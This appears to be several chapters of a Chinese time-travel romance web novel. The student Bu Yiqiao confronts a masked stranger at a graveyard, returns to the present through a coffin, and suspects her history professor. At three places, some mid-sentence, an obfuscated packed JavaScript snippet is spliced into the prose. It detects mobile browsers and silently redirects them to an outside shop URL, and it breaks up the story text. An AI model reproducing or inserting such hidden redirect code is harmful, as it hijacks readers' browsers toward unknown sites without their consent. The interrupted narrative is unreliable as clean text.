步一乔怔怔地盯着孙权半敞开的衣襟,紧实的腹肌随着呼吸起伏,水珠随着他鬓边的发丝低落。 “不对。”她轻声说,像是自语,又像是说给孙权听。 孙权擦拭她头发的动作微微一顿。 步一乔仰头看向他,道:“建安五年的诸葛亮,有什么理由要搅乱江东?此时刘备尚且寄人篱下,诸葛自己都还在隆中耕读。此时布局,对他有何益处?” 她越说越觉得蹊跷:“若他真有这般神通,未卜先知到数年以后的三国局面,提早布局……又怎会选甘宁这样莽撞无脑之人作为传话的棋子?这岂非太过儿戏?” 更何况,甘宁日后还是孙权的部下。甘宁此时身为黄祖部下,江夏百姓不可能不认识他,什么祭祀神明,摆明是某人精心编排的一场戏,演给两人看,只为一句台词。让步一乔信了真有神通广大的道士,预言确有其事。 孙权的目光沉静,没有打断她。 “更重要的是,”步一乔的眉头越蹙越紧,“此时的江东正值强盛,岂是几句挑拨就能动摇的?这不像诸葛的深谋远虑,倒像是……” “像是什么?” “倒像是有人故意借他的名号行事。利用''诸葛亮''的名字,让我们疑神疑鬼,把视线转向隆中。”步一乔神色逐渐凝重,“尤其是我。那人了解我,知晓我熟知后世历史,故意引到我去隆中。” 先让甘宁率先出场,抛出那句参透秘密的话,引起步一乔的注意,再让孙权在打探消息时,让两人明白自己已入棋局,再无退路。 “这是个陷阱啊……孙权!”她拉住他的手,“此人绝非诸葛亮,另有其人!” 很可能与她、与小乔、与甘宁苏飞同为现世穿越而来。不同另外三人,此人对历史的熟知程度,不亚于自己。 孙权良久没有作声,只是轻轻梳理着她半干的长发。 “那一乔认为是谁?” 步一乔摇头:“我不知道。但此人心思缜密,人尽其才、笼络人心,需小心行事。” 教唆急于证明自己的甘宁杀人;不出所料,婚宴上那场突如其来的血腥混乱,定然出自此人的谋划。驱策他人,利用其欲望与短长,为己所用…… 历史上,何时出现过这般“知人善任,容短用长”的人才? 步一乔在脑海中将前后几十年的历史回想了一遍,也没想起。 孙权的指尖停在她的发间,良久,轻轻“嗯”了声。 * 根据昨日孙权搜集的情报,那人似乎暂居在江夏郡的某个村庄,且附近无人不知。线人找到了具体位置,一座靠山但离主城不算远的城乡结合部。 “你看!”步一乔一下抓住孙权的手臂,“如此招摇过市,估计是放长线,要钓大鱼啊!” 孙权轻笑出声,握住她的手攥在掌心。 “且先去四处打听打听,再动身前往。” 两人进了家酒楼,借着点完菜的功夫向老板娘打听消息。 听完来意后,老板娘想也没想直接摇头拒绝:“不可不可,我这铺子刚做起来,才不想沾染上邪祟呢。两位问别人吧。” 步一乔看着老板娘小跑离开的背影,不解道:“问个路,怎么还跟邪祟扯上关系了。” 孙权拍拍她的手,“许是误会了什么,我们待会儿再问问。” 两人又去了另一家铺子。 老板小心翼翼地观察四周,接着压低声音,向两人透露内情:“那人神神秘秘的,藏龙不见尾,有人说,是阴间来的鬼!” “鬼?”步一乔诧异,“鬼的话,如何看得见?” “那人时而在,时而消失。有人亲眼看到他进了后山的乱葬岗,然后整整过了半月才出来。” “乱葬岗?!”步一乔震惊,“他果然也是……” 孙权问:“也是什么?” “没什么。多谢老板!”步一乔匆忙道谢,拉上孙权夺门而出。 “急匆匆地去哪儿?”孙权被拖拽着跟在她身后。 “后山,乱葬岗。” “现在?”孙权拉住她,“天色将晚,此时入山太危险。” 他本意是不愿让她靠近那等阴森之地。好不容易避开了地牢、水井,谁知终究还是绕不开乱葬岗。一切来得太过猝不及防。 “就是要趁天黑前去!”步一乔反手抓住他的手腕,“那人肯定在等我!就现在!” 她的直觉在叫嚣,每一个线索都指向那里。乱葬岗不仅是穿越的节点,更是所有谜题交织的核心。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16593651|185506||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 孙权凝视着她坚定的神情,知道再难阻拦。他轻叹一声,将她的手握得更紧。 “万不可离开我。” 步一乔欣喜,张开手掌扣住他的,“绝不松开。” 两人沿着乡间小路疾行,越靠近山脚,周遭越是荒凉。夕阳西斜,将乱葬岗的轮廓染上一层诡异的金红。 周围隐约闻到腐烂的臭气,以及焚烧菖蒲和艾草的味道,大抵是为了掩盖尸臭吧。 步一乔忽然停下脚步,指着前方:“孙权你看那里——” 只见一座新坟前,立着个模糊的人影。那人似乎察觉到他们的到来,缓缓转过身来。 又是黑袍,又是面具,全身包裹得严严实实。显然,恭候多时。 “我要和步一乔单独说话。” 声音是个男人,尽管压着嗓子说的,但……很熟悉。 步一乔盯着不远处的男人,毫不犹豫松开说好不松开的手,转身仰头看向孙权。 “抱歉。” 孙权眉头一凝,“我们说好的——” “所以抱歉!”步一乔露出歉意的撒娇脸,垫脚勉强啄了下他的眉心,“就在你的视线范围内,若我有危险,你会来救我的,对吧?” 孙权垂下眸子,沉默片刻,终是松开了手。 “有事唤我。” “唤仲谋?还是孙权?或者,小——” 孙权曲指蹭过步一乔的脸颊,“贫嘴。” 他退后两步,倚在一棵枯树旁,目光却始终锁在她身上。 安下心来的步一乔转身走向那座孤坟。她在黑袍人五步之外站定,这个距离,既能看清对方,也足以应对任何突发变故。 “我来了。” 男人轻笑一声,想往林中更深处走。步一乔站在原地不动,警告的眼神一瞬不瞬盯着他的“脸”。 “就在这儿说,他听不到。”步一乔抱着双臂,“不让我看看你的脸吗?” “不可以。”对方的拒绝干脆利落,没有半分转圜余地。 步一乔也不管不顾,就站在原地追问:“为什么谎称自己是诸葛先生?” 男人见她不为所动,无奈妥协。 “为了骗你。” 步一乔冷笑,“你也是穿越来的?” “不是。” “那你——” “是。” 步一乔蹙眉,“到底是不是?” “是。不是。” “……逗我玩儿呢。”步一乔压着即将沸腾的怒火,向前逼近一步,“为什么叫甘宁放火杀孙策?” 男人沉吟:“太史慈更合适吗?” “不要岔开话!”步一乔厉声打断,“婚宴那天,也是你怂恿江东门阀和许贡门客的,对不对?” “是。” 破坏别人的计划还如此理直气壮,真是气煞我也! 步一乔强压下翻涌的气血,从齿缝间挤出三个字:“为什么?” “因为你。”他回答得理所当然。 黑袍人终于动了。他不急不缓地,一步步向她走来。他在她面前仅一步之遥处停下,两人目光在空中激烈碰撞。 “因为你要改写历史,而我,要修正历史。” 38. 流光 “修正历史?”步一乔挑眉,“历史并未出错,你修什么?把孙策杀了,就是你修整历史的方式?” “孙策必须死。” “死你个头啊!” 脏话脱口而出,步一乔立即收声。她连吸几口气强迫自己冷静,回头瞥了眼不远处的孙权。 “甘宁说……孙权把他打晕在火海,没能逃出去,烧烂了脸,这事儿你知道吗?” “我知道。” “历史上没有这一环,你怎么不去改?” “没有偏离正轨,不必干预。” “你就不怕不一把火把甘宁也一块带走?” “我自有把握。” 步一乔忽然笑了。再抬眸时,对峙时的冷峻荡然全无,只有计划完美落幕的满足样。 “就想听你多少几句话,好证实我究竟在哪儿听过你的声音。” 她抬头望了望天色,又道:“要天黑了,你是现在回去吗?从……这座坟?” 她下颌轻抬,点了点一旁矮小的坟冢。 男人不为所动,看不见的眼睛似乎盯着步一乔, “你确实聪明,但小心聪明反被聪明误。这是乱世,非你熟悉的时代,谨防丢了性命。” “你在关心我?谢谢。” “……”男人顿时无言以对。 “欸,想请你帮个忙。我现在能回吴郡吗?” 男人早已洞悉她的意图:“孙氏全族已迁离吴郡。” “老宅总还在吧。” “地牢也还在。” “那不就结了。” “不去隆中了?” “去做什么?监督诸葛先生读书?我没那闲工夫。”步一乔蓦地转身,留给他一个背影,“我要回去救孙策。无论你如何阻拦,我都救定了。一次不行,就一千次、一万次。你有时间阻挠,我也有时间奉陪。” * 与男人道别后,步一乔转向孙权所在的方向走去。 孙权仍站在原地,看着步一乔一步步走近,目光落在她身后。方才她与之交谈的地方,此刻已空无一人。 “那位先生……”待她走近,孙权开口询问,“是何人?” 步一乔在他面前站定,没有直接回答。她望着孙权年轻却已初具威仪的面庞,脑海里闪过诸多杂乱无章的讯息。 数年后的江东之主、吴王、吴大帝,以及……莫名冒出来的教授。 只因他们都说过同一句话,“我这一生都敬重他,追随他”。 上一次穿越回没能见到教授,休产假半年后回来……看来短时间内没法向他请教问题了。 “不过是个神出鬼没的方士,专说些危言耸听之语。”她轻描淡写地带过,“我们回家吧。” “回家?回客栈么?” “家啊,傻孩子。”步一乔轻笑着挽上孙权的手臂,“当然是回吴郡啦。” 步一乔与孙权避开官道,沿着偏僻小径秘密东行。数日后,吴郡城墙在望,城门口盘查严密。此时吴郡尚在孙吴管辖之内,为避人耳目,不引起动乱,需谨慎入城。 “幸亏我早有准备。” 两人在远处林中驻足,步一乔从行囊中取出一套半旧的深衣递给孙权。 “你孙仲谋太过惹眼,须得改头换面。从此刻起,你我便是回乡省亲的寻常夫妻。”她顿了顿,皱眉狠狠瞪了眼坏笑的孙权,“严肃点!记住,你叫阿权,我叫阿乔。少说话,一切看我眼色。” “既是夫妻,为何不称相公夫人?” “想趁机占我便宜?我偏不!” 片刻后,一对布衣男女走出树林,步一乔自然地挽上孙权的手臂,二人随人流缓步向前,融入了等待入城的队伍。 守卫的竟是相识之人,孙权生怕暴露,些许紧张。步一乔感知后,指尖不着痕迹地按了按他紧绷的小臂。 “放松些,你这般僵硬,不像夫妻,倒像是被我挟持的人质。” 孙权深吸一口气,臂膀的力道终于松下几分。 “夫人放心,一切看你眼色行事。” 这便宜还是被他占去了。 城门口,守城卫兵仔细核验着步一乔递上的符传,目光在两人之间来回扫视。 “夫妻?回乡探亲?”卫兵盯着孙权,“这位公子,不似寻常百姓啊?” 步一乔立刻蹙起眉头,欲哭无泪道:“可惜我家夫君生得玉树临风,却没投胎个好人家,娶了我这么个莽撞的妻子,真是委屈夫君了!” 说完,她一下扑进孙权怀中呜咽起来。吓坏了守城的一众侍卫和入城的百姓,也吓坏了不知如何搭戏的孙权。 卫兵听得头痛,挥挥手赶紧放行。两人随着人流,终于踏入了久违的吴郡。 “夫人……演技了得。”孙权低声叹道。 “那是自然!”步一乔扬起脸,不无得意,“我连你都能骗过,何况他们?” 孙权想起了孙宅初见时,步一乔骗自己身子不适之事,心一横,也想弄出点什么让她如自己当初那般紧张性心疼。 可此举太失他孙仲谋的名声和颜面,只好作罢。 “呃啊……”步一乔突然弓下腰,捂住腹部倚向墙边,“好疼……” 孙权赶忙扶起她,“是月事又疼了?” “别这么直白地说出来啊二公子,你的仁义礼智呢,它可教你这是污秽之事啊……”步一乔疼着也不忘揶揄,“是胃疼了些,想喝热水……” “热水?”孙权举目四望,见前方不远有间客栈,“先去歇下,我再去寻。” 说罢,作势要将人打横抱起奔向客栈。 步一乔噗嗤一笑。 “你看,又把你骗到了。” “……”孙权脸上的慌张瞬间凝固,半晌没回过神。 “孙权?孙仲谋?”她伸手在他眼前晃了晃,“怎么傻了?” “你骗我。”他低声说。 “抱歉,一时玩心,你别生——” 话音未落,孙权已一把将她抱起,全然不顾四周目光,大步流星地走向客栈。 “喂!这可是吴郡!吴郡啊!”步一乔在他怀里压低声音急道。 孙权才不顾那些,既有伪装,自然要随他心意行事。 “你我如今是对回乡省亲的寻常夫妻,舟车劳顿,夫君带夫人往客栈歇息,顺便……惩罚一下起了玩心的夫人。” “你……你认真的?!不行!我来月事了!不能同房!” “五天前结束,你自己说的。” 步一乔真服了自己为何何事都与他说,无聊到差点把家底都道出。 似乎说了也公平?毕竟他孙仲谋七十多年的人生自己可是了如指掌。 孙权抱着步一乔踏入客栈,立刻引来堂内诸多目光。他面不改色,对迎上来的伙计沉声道:“一间上房,备些热水与清淡吃食。” 步一乔把脸埋在他肩头,耳根通红,压低声音:“孙仲谋你快放我下来!” 孙权非但没放,手臂反而收得更紧,直到进了二楼的客房,才将她轻轻放在榻上。他转身闩上门,步一乔立刻警惕地向后挪了挪。 “你、你锁门做什么?” 孙权不答,慢条斯理地走到桌边,倒了一杯温水递给她。 “不是胃疼,想喝热水?” 步一乔接过杯盏,小心翼翼地打量他。他脸上并无愠色,让她心里有些没底。 “方才……是玩笑,”她捧着杯盏,“我跟你道歉。” 孙权在她身旁坐下,看着她,缓缓道:“我知是玩笑。但我方才的慌张,不是玩笑。” 步一乔一愣,抬头对上他的视线。 “我所虑的,从来只是你的安危是否会有一丝闪露。” 步一乔看着他认真的神情,心头那点戏谑的心思渐渐沉了下去。 “所以,”孙权倾身靠近,“夫人觉得,这般屡次相骗,该当如何?” 他的气息拂过她的耳畔,步一乔感觉心跳漏了一拍,下意识地往后仰,却被他伸手揽住了腰。 “你……你想怎样?”她强自镇定,声音却微微发颤。 心底,是期待的。 孙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16599329|185506||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 权的目光掠过她微张的唇,最终却只是抬手,用指节轻轻拭过她不知是因紧张还是羞涩而泛红的脸颊。 “暂且记下。”他收回手,起身走向房门,“热水和饭食稍后便到,你好生歇息。我出去一趟。” 步一乔看着他干脆利落离开的背影,一时有些反应不过来。他就这样……走了? 房门合上,她抬手抚上方才被他触过的脸颊,那里似乎还残留着一丝温度。一种难以言喻的、混杂着失落和松口气的复杂情绪悄然蔓延。 “只是……记下吗?”她喃喃自语。 而门外的孙权,在阖上房门的瞬间,闭眼深吸了一口气,压下心头翻涌的躁动。惩罚?他方才确实想过,但绝非在此地,更非此刻。 当务之急,是需暗中联络周瑜,确认吴郡眼下情势。 * 入夜,两人潜伏进孙府,轻车熟路便来到了后院那处隐蔽的地牢入口。 孙权并不愿来此,旧地重游总会牵出些不快的回忆。可拗不过步一乔,见她委屈可怜的恳求样心软得一塌糊涂。 “到了里面,你就会离开,对吗?” 昏暗的甬道向下延伸,石壁渗着湿冷的水汽。孙权举着火把走在身侧,影子扭曲地投在斑驳的墙壁上,明明灭灭。 步一乔沉默了片刻,才低低应了一声:“嗯。” 气氛顿时微妙起来。放轻的脚步声,在寂静的甬道里回荡。孙权不再多言,只是持着火柄的手不自觉地收紧了几分。 棺椁依旧静静地放置在原处,步一乔望着掀开的棺盖百感交集。 不曾想故地重游,在未来对峙的两人,如今换了身份、多了纠缠的情爱。 “仲谋……” 她牵住他的手,仰头注视他的双眸。 “我会回到建安四年腊月,伯符攻下皖城,迎娶二乔之前。我知道你不会忘,我也不会。在皖城等我,好吗?” 孙权凝视着她。他想问很多,想问她如何回去,想问她为何是那个时候。但最终,他只是反手握紧了她微凉的指尖,沉声应道: “好。无论多久,我都等你。无论何地,我都等着你。” 他不知前路如何,但既是她所求,他便应允。 步一乔突然想哭,刚一想,便不争气地哭起来。 “我害怕……” “怕什么?” “我怕去皖城……会见不到你……” 孙权无奈轻笑,指腹轻柔地拭去她脸上的泪痕,“那我哪儿都不去,就在这儿等你。” 可以吗?可以的吧。既然棺椁能依凭心念穿越时空,只要她说出准确的时间,一定没问题的。 “好。”步一乔投入孙权怀中,紧紧抱住他,“那便定在建安四年,腊月廿八,在这儿等我。” “好。” 一字承诺,重逾千金。 步一乔躺进棺椁,望着站在棺边的孙权,棺盖逐渐合上,一股无形的力量开始拉扯着她的意识,仿佛整个时空都在扭曲、旋转。她死死盯着孙权的眼睛,直到他的身影在视野中渐渐模糊,化作一片朦胧的光晕。 冲出地牢确认了自己回到现代后,步一乔想立刻返回建安四年,可刚转身,却止住了脚步。 “反正是回到过去,我可以先去确认那件事,再去寻孙权。” 心意已决。步一乔毅然转身,奔向纪念馆大门,坐上回学校的车。先去教师办公室问教授的联系方式,定要亲口问他心里才有底。 “反正生孩子又不是他生,不算打扰吧。”她暗自嘀咕,却莫名感到一阵心悸。 当她冲进熟悉的教师办公室时,整个人呆住了。 教授正伏案书写,听到动静抬起头。他推了推眼镜,诧异地看着门口气喘吁吁的步一乔问:“你不是去潜山参加交流活动了?” 步一乔脱口而出:“你不是生孩子去了?” 教授一脸茫然,“生孩子?我?”说完他自己先笑了,摇摇头,“从哪儿听来的八卦?我连婚都没结,哪来的孩子?” 步一乔僵在原地:“啊?” 39. 不可说 “可是霖霖不是说……你回去休产假,半年后才回来?” “男性什么时候产假可以休半年了?”教授摘下眼镜,揉了揉眉心,看向一脸懵的步一乔,“大概又是你听一半就开跑,听错人了吧。我没孩子。” “是……吗。”当真是自己听错了? 教授收起钢笔和教案,问:“找我什么事?” 步一乔犹豫地走近,在他身边坐下,忽然抬眼直视他:“我还不知道教授你叫什么?” 教授脸色倏地一沉,“我教了你一年,你不知道我叫什么。” 步一乔缩了缩脖颈,“这不很正常吗?好多人毕业了都不知道导师全名呢。” 教授一个响指弹在她眼前,吓得她一抖。 “别狡辩,跟我走。” “去哪儿?”步一乔看着他起身。 “潜山。后天交流会最后一天,我顺路送你。” “不用,我自己坐大巴就行。” “我也去,捎上你。” “哦——不经意的邀请,不错嘛。” 教授无语。他不再接话,径直朝办公室外走去。步一乔撇撇嘴,还是跟了上去。 等她慢吞吞地晃到楼下时,一辆黑色的车安静地停在眼前,教授正靠在驾驶座里,低头操作手机导航。晌午的光线透过车窗,柔和了他原本有些冷硬的侧脸轮廓。 有一瞬的错觉,步一乔就像……看到了现代版的孙权。 见她过来,教授收起手机,只简短地说:“上车。” “教授你开这么好的车啊?” “有何高见?” “大学老师收入这么高?听说你还做舞台剧的文学顾问,那边收入更可观吧?” “嗯。”他推了推眼镜,发动车子,“吴朔。” “嗯?什么?” “名字。吴朔。” 步一乔侧过身,盯着他的侧脸:“朔?哪个朔?” 沉默片刻,他答:“北方,朔方。” “吴……北方……吗?” 也许是受了孙权的影响,步一乔又一次不自觉地把这两个名字连在一起。 朔,代表北方、征伐、开拓。而“吴”,正是他的国号。孙权一生所念,正是挥师北上,克成帝业。 “可一个是现代人,一个是三国人物,八竿子打不着啊……” “嘀嘀咕咕说什么?” 还有这性格,简直天差地别! 步一乔耸耸肩,懒懒陷进座椅里,“没什么。教授专心开车,我困了,睡会儿。” “睡吧。” * 感觉车子似乎停在了什么地方,步一乔半梦半醒过来,身上的小毯子随着她起身的动作滑下。 “教授?人呢?” 车停在服务区的停车场,安静的车内只有自己,教授不在座位上,离开前还细心地为她留了道车窗缝。 “还怪贴心的嘞……” 步一乔穿上外套下车,舒展地伸了个懒腰。可身子刚伸展到一半,腹部突然一阵抽痛,疼得她弯下腰去。 “啊!我的肚子!” “怎么了?” 她抬起头,看见教授正端着两杯冰咖啡走来。 “突然抽筋了,好痛。”她吸着气说。 教授淡淡地看着她:“真的?” 语气里充满不信任。步一乔倒吸着气,捂着肚子站直。 “我去个卫生间……” 步一乔突然想起了狼来了的故事,说谎的报应来得真快。 好在抽痛很快缓解。从卫生间回来时,她看见教授还站在原地,手里端着两杯咖啡等她。 “生理期?”教授问。 “不是,”步一乔揉了揉已经不疼的肚子,“就是抽筋,现在没事了。” 教授打量了她片刻,确认她确实无恙,便将其中一杯咖啡塞进她手里。 杯身传来温热的触感。 “热的?教授刚才买的不是冰咖啡吗?” “以为你生理期,去换了杯热的。” 步一乔微微一怔,指尖在温热的杯壁上轻轻摩挲。 “谢谢教授。”她轻声说,唇角不自觉地扬起。 * 车子驶下高速又绕了近一小时,才终于抵达潜山活动安排的酒店。步一乔被颠得昏昏欲睡,直到教授停稳车,说了声“到了”,她才一个激灵清醒过来。 两人刚拖着行李走到前台,步一乔眼角的余光就瞥见了一个熟悉的身影。休闲角沙发那儿,穿着宽松卫衣的女孩正低头刷手机,不是霖霖是谁? 步一乔脚步一顿,把行李箱往教授手里一塞:“教授您先办入住!”说完便气势汹汹地朝那个方向杀了过去。 “霖霖!” 女孩闻声抬头,看见是她,脸上瞬间绽开惊喜的笑容:“一乔?你这几天跑哪儿去浪了?消息也不回。” “你还好意思问!”步一乔双手叉腰,打断她的寒暄,“你之前为什么骗我说教授是去生孩子了?害我一路都在胡思乱想!” “啊?”霖霖脸上的笑容僵住,转而化为一片纯粹的茫然,“生孩子?谁生孩子?我什么时候跟你说过这个?” 她的反应太过自然,眼睛睁得圆圆的,里面全是毫无作伪的困惑。 步一乔一愣,火气卡在半空:“就……就上周啊!在寝室,我从孙氏纪念馆回去,你亲口跟我说的!你说教授请长假是因为要……要去生孩子了!” “不可能!”霖霖回答得斩钉截铁,“我绝对没说过这话。一乔,你是不是压力太大记错了?或者听了谁的谣言?” 她看起来是真的不知情,面上的无辜丝毫不像装出来的。如果霖霖没说谎,那自己究竟是从哪儿听来的?又是做梦?! 步一乔陷入自我怀疑。 就在这时,办好入住手续的吴朔(教授)拖着两个行李箱走了过来,说:“我的房间在五楼,8506。” 他目光扫过步一乔,最后落在霖霖身上,“来参加活动不是让你们来玩的,最后一天两个人必须上台发言,否则我扣你们学分。” 步一乔真想怼回去,一掌招呼过去。动不动就扣学分!我挂科对你有什么好处吗! 霖霖看着步一乔瞬间涨红的脸,又想起刚才教授说的房间号,似乎明白了什么,赶紧摆手澄清:“教授,不关我事!我什么都不知道!不过……恭喜?” 步一乔绝望地闭上了眼睛,“该说我俩能玩到一块呢,这脑回路真的绝了。” 气呼呼的步一乔捞起沙发上的霖霖,架着人走向电梯。 “所以你这几天回学校了?这么呆不住?”霖霖小声问,偏头示意身后的教授,“然后被押送回来了?” “想什么呢。教授自己要顺路送我的。说话我今天才知道教授姓吴欸。” 霖霖震惊,“他教了你一年啊!你才知道?”震惊完不忘回头打小报告,“吴教授,这学分得扣啊,连您的名字都不知道,上课绝对不认真!” “霖霖!” 吴朔站在两人身后,电梯昏暗的光映得他脸色更冷,“是该教育一下了。” 步一乔:“……” * 白日里被孙权困在客栈的床榻上一刻未眠,入夜又忙着潜入地牢返回现代,步一乔这一天真是折腾得够惨,刚进房间倒头就睡。 醒来已是下午饭时间。 霖霖又不知道跑哪儿去,步一乔不想一个人吃饭,便去了8506房间。 敲了半天没人回应,步一乔正想离开,门开了。 “教授,我来问你吃——” 话音戛然而止。 吴朔裹着浴袍站在门后,正擦着湿漉漉的头发。水珠顺着他颈侧滑落,浴袍领口微敞,隐约勾勒出紧实的胸膛线条。 “吃饭吗?”他语气如常。 “嗯……我来问……您……”步一乔一时语塞,几乎忘了该怎么组织句子。 吴朔没关门,转身往屋里走,“进来吧。” “进……我能进来……不对,我在外面等您吧。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16604031|185506||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “站在走廊监控探头下面?” 步一乔抬头,正对上那个死死盯着门口的摄像头,眼皮跳了两下,最终还是迈进了8506。 “坐着等我一会儿,吹个头发就走。” “啊……嗯……好……” 步一乔傻呆呆地站在门口,挪不动脚,浴室就在一旁,吴朔走到镜前,从镜中瞥见她那副模样,唇角无声一勾,轻轻带上了门。 浴室里传来吹风机的低鸣,步一乔这才像被解了穴似的,悄悄挪到沙发边坐下。 她目不斜视地盯着茶几上的《历史学》,仿佛突然对薛定谔的猫产生了极大兴趣。可脑海里挥之不去的,却是刚才惊鸿一瞥的紧实线条和氤氲水汽。 “步一乔,你争气点!”她在心里默念,“那是教授!扬言要扣你学分的人!” 然而另一个声音却在小声嘀咕:“教授有在健身吧?肌肉还挺——” 吹风机的声音戛然而止。 步一乔立即正襟危坐,双手规规矩矩地放在膝盖上,像个等待老师检查作业的小学生。 “你干嘛?” 吴朔换上了一件浅灰色的针织衫和休闲裤,整个人清爽利落,只有发梢还带着些许湿意。他看着步一乔僵直的背影,眼底掠过一丝不易察觉的笑意。 “在乖乖等您去吃饭。” 吴朔轻笑,拿起房卡,说:“走吧。” “好的!”步一乔几乎是弹起来的,差点带倒桌上的书。 “想吃什么?”吴朔问。 “报告教授!我第一次来安徽,不知道吃什么!” 正经汇报的样子着实可爱,吴朔先一步走进电梯,“那就带你去尝尝本地的特色菜。” “谢谢教授!” 电梯门缓缓合上,狭小的空间里只剩下他们两人。步一乔盯着跳动的楼层数字,感觉身边的男人存在感格外强烈。她悄悄用余光打量,他穿着休闲衫的样子少了几分讲堂上的严肃,多了几分平日里难见的温和。 “教授,”她忍不住好奇,“您对潜山好像很熟?” “嗯,来过几次。” “做调研吗?” “嗯。” 步一乔识趣地没有再问。 电梯抵达一楼,门开的瞬间,吴朔很自然地侧身,示意她先走。 “走吧,带你去吃顿好的,慰劳你……辛苦刚从东汉回来。” “啊?”步一乔震惊,猛地转身,差点撞上跟在身后走出电梯的吴朔,“你知道?你怎么知道的?” “猜的。” 吴朔绕过她,继续不紧不慢地往前走,“这次又去了什么时间?” 步一乔追上他,“建安四年。但很神奇,我不是从地牢去的。在潜山二乔公园散步的时候,从井里掉——” “你掉井里面去了?”吴朔的脚步倏地停住,眉头微蹙看向她。 “啊?啊,嗯。” “你走路不长眼睛啊?” 怎么突然被骂了? 步一乔赶忙解释:“谁晓得那块地砖坏的,明明是水泥封口的井,结果……就进去了。我也很冤枉啊……屁股都摔疼。” 吴朔盯着她看了两秒,眼神里是无奈,最终几不可闻叹息。他重新迈开步子,只是速度放缓了些。 “还疼吗?” “没那么娇气。”步一乔赶紧摆手,“除了井,我发现还有别的渠道可以穿越。” 于是,步一乔跟吴朔讲述了自己从小乔甘宁口中得到的故事,但怕引起不必要麻烦,刻意隐瞒了他们的名字。 “我在江夏遇到的那个道士也是,我刚转身,就真从坟冢那儿消失了。” 吴朔认真听着,偶尔点头附和。 “还有一个更神奇的点!” 川流不息的马路边,步一乔突然停下脚步,走出几步的吴朔也停下来回头看向她。 两双眼眸在空气中触及在一起,方才的闲适荡然无存,无声的紧张蔓延。 “那个道士的声音,和教授你,一模一样。” 40. 终不回 吴朔的目光在步一乔脸上停留了片刻。远处一辆车驶过,车灯在他镜片上划过一道转瞬即逝的反光。 “声音一样?那你当时为什么不叫住他确认?” 步一乔一时语塞。她确实从未想过,不过声音一模一样,便断定了身份。 毕竟穿越的方法,可以眼前这位历史学教授告知她的。而那“道士”在学士方面,确实高于步一乔。种种线索皆指向眼前淡定的男人。 吴朔转身继续向前走去,“这世界上声音相似的人很多。更何况,那里是东汉,几千年前有一个和我声音相似的人,不是很正常?” 这个解释合情合理,步一乔却总觉得哪里不对。她小跑着跟上,说:“可是教授,那个道士消失的方式真的很诡异!哪儿有普通人转头就消失的!” “你觉得诡异,是因为你没看清他是怎么离开的。”吴朔脚步不停,“坟冢附近地形复杂,光线又暗,他只要快走几步躲到树后,在你看来就像凭空消失。” 他的解释天衣无缝,游刃有余,步一乔却莫名想起刚才在车上那个荒诞的联想——孙权。 她忍不住偷瞄吴朔的侧脸。暮色中,他的轮廓显得格外分明,确实有几分像某位江东霸主。 投胎……转世?可人是胚胎长大的,根本不可能存在投胎一说啊。 信奉科学的步一乔百思不得其解。 “还有什么疑问吗?”吴朔突然开口,吓了她一跳。 “没、没有了。” 两人继续并肩朝前走,深秋的天气转凉,步一乔走在马路一侧,汽车驶过带起的寒风钻进她裸露的脖颈,扬起的长发也胡乱扑在脸上,带来一阵瑟缩的凉意。 忙着出门吃饭,都忘了捞一件外套穿上。 吴朔不动声色地与她换了个位置,他高大的身形恰好挡在了风和来车之间。 步一乔微微一怔,还没来得及开口,一件带着体温的薄外套已经轻轻落在了她肩上。 “穿上吧。” “谢谢教授……” 外套上残留的暖意迅速驱散了寒意。步一乔拢了拢衣领,鼻尖萦绕着淡淡的书墨和雪松的气息,与那道士身上的檀香截然不同。 她莫名安下心来。 “抱歉,我之前一直怀疑是您。”步一乔略显尴尬地道歉,“我还信誓旦旦的,从东汉回来第一件事就找您对证。” “嗯。保持警惕心是对的,看来你没忘我对你告诫。” “什么告诫?” “……算了,当我没说。” 吃过晚餐,天色暗下。 回到酒店,步一乔才发现房卡不知何时滑落到了吴朔的外套口袋里。她只得硬着头皮去敲他房门。 门很快开了。 “怎么了?” “我的房卡好像落您口袋里了。” 吴朔侧身让她进屋找卡。房间里的灯光调得昏黄,她弯腰在沙发上的外套里摸索时,能清晰地感受到他就站在身后不远处,沉默的存在感几乎将她笼罩。 房卡找到了。她直起身,一回头,却险些撞进他怀里。吴朔不知何时已悄无声息地站得这样近。 “怎、怎么了?” 吴朔居高临下的盯着她的眼睛,良久不说话。 步一乔屏住呼吸,不受控制似的,也抬眼盯着他。 他低垂着眼帘,镜片后的目光落在步一乔脸上,轮廓在暖光下柔和了些许,甚至多了几分朦胧与……暧昧。 就在步一乔以为他会说什么做什么时,吴朔却微微后撤了半步,让出了适当的距离。 “早点休息。” “啊……嗯,教授晚安。” 步一乔几乎是逃离了吴朔的房间。靠在走廊冰凉的墙壁上,她按住仍在急促跳动的心口。 